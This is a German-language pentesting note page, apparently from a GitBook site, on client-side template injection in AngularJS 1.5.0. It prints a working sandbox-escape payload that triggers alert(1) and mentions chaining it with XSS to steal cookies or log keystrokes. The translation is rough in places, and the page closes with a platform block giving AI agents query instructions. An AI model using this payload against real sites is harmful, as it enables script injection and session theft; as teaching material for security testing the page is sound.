> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-client-side-template-injection-csti/csti-techniques-pentesting-web.md).

# CSTI-Techniken

Wie erkennt man, ob eine Website möglicherweise anfällig für einen Angriff ist **CSTI** ? Wenn wir einen Wert in ein **Eingabe** wie im folgenden Fall mit der Variable **Benutzer** und das wird in einer **Ausgabe**:

<figure><img src="/files/29bebc81f8ab4e625572e578769cb4e0a9b051cc" alt="" width="563"><figcaption></figcaption></figure>

Zum Beispiel durch Beobachtung des Webservers **Quellcode**, wenn es Programmiersprachen oder Template-Engines wie **Python, Java, Jinja2, AngularJS usw.** und die Eingabe nicht bereinigt wird, könnte die Schwachstelle vorhanden sein:

<figure><img src="/files/d77888c22f9fc61bcdb26e19e9e54d7801d197ed" alt="" width="563"><figcaption></figcaption></figure>

Dank der Website [**PayloadsAllTheThings**](https://github.com/swisskyrepo/PayloadsAllTheThings), finden wir alle die [möglichen Injektionen](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md): In diesem Fall sehen wir, dass die versiwe die **1.5.0** von **Angular.JS**:

<figure><img src="/files/c146a9d2da6695355e70c2ed708a33cc7d08bcdf" alt="" width="563"><figcaption></figcaption></figure>

```javascript
javascriptCode kopieren{{
    c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
    c.$apply=$apply;c.$eval=b;op=$root.$$phase;
    $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
    C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
    B=C(b,c,b);$evalAsync("
    astNode=pop();astNode.type='UnaryExpression';
    astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
    astNode.argument={type:'Identifier',name:'foo'};
    ");
    m1=B($$asyncQueue.pop().expression,null,$root);
    m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
    $eval('a(b.c)');[].push.apply=a;
}}

```

Wir können senden **Warnungen** wie im Angriff **XXS**:

<figure><img src="/files/ab328fa10f76e887dd1213ae23bda8d8451572a3" alt="" width="563"><figcaption></figcaption></figure>

Dies könnte verwendet werden, um diesen Angriff mit dem [XSS ](/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss.md)und wie folgt:

* *Sitzungscookies stehlen*
* *alle Tastatureingaben erfassen*
* *Zugriff auf den Server erlangen usw.*


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-client-side-template-injection-csti/csti-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.